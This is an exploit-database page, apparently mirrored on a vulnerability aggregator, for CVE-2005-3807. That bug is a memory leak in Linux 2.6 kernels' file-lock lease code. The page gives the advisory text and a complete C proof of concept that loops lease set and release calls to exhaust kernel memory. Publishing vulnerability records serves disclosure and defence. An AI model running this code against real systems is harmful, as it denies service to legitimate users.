Lucene search
+L

Linux Kernel 2.6.x - File Lock Lease Local Denial of Service

🗓️ 29 Dec 2005 00:00:00Reported by J. Bruce FieldsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 45 Views

Linux Kernel 2.6.x - File Lock Lease Local Denial of Service vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
SUSE Linux Enterprise Data Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
SUSE Linux Enterprise Data Compromise
28 Apr 201500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
SUSE Linux Enterprise Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2005-3807
25 Nov 200521:00
–cve
cvelist
Cvelist
CVE-2005-3807
25 Nov 200521:00
–cvelist
euvd
EUVD
EUVD-2005-3802
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2005-3807
25 Nov 200521:03
–nvd
osv_bell
osv_bell
BELL-CVE-2005-3807 CVE-2005-3807 does not affect BellSoft software
25 Nov 200521:03
–osv_bell
rapid7
Rapid7 Vulnerability Database (full)
CVE-2005-3807: Undefined Security Weakness
25 Nov 200500:00
–rapid7
susecve
SUSE CVE
SUSE CVE-2005-3807
15 Feb 202306:16
–susecve
Rows per page
/*
source: https://www.securityfocus.com/bid/15745/info

Linux kernel is susceptible to a local denial-of-service vulnerability.

This issue is triggered when excessive kernel memory is consumed by numerous file-lock leases. This problem stems from a memory leak in the kernel's file-lock lease code.

This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and ultimately to a denial of service for legitimate users.

Kernel versions from 2.6.10 through to 2.6.14.2 are vulnerable to this issue.
*/


#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;



    while (1) {

        r = fcntl(fd, F_SETLEASE, F_RDLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_RDLCK");

            exit(1);

        }

        r = fcntl(fd, F_SETLEASE, F_UNLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_UNLCK");

            exit(1);

        }

    }

    return 0;

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.9
EPSS0.00745
45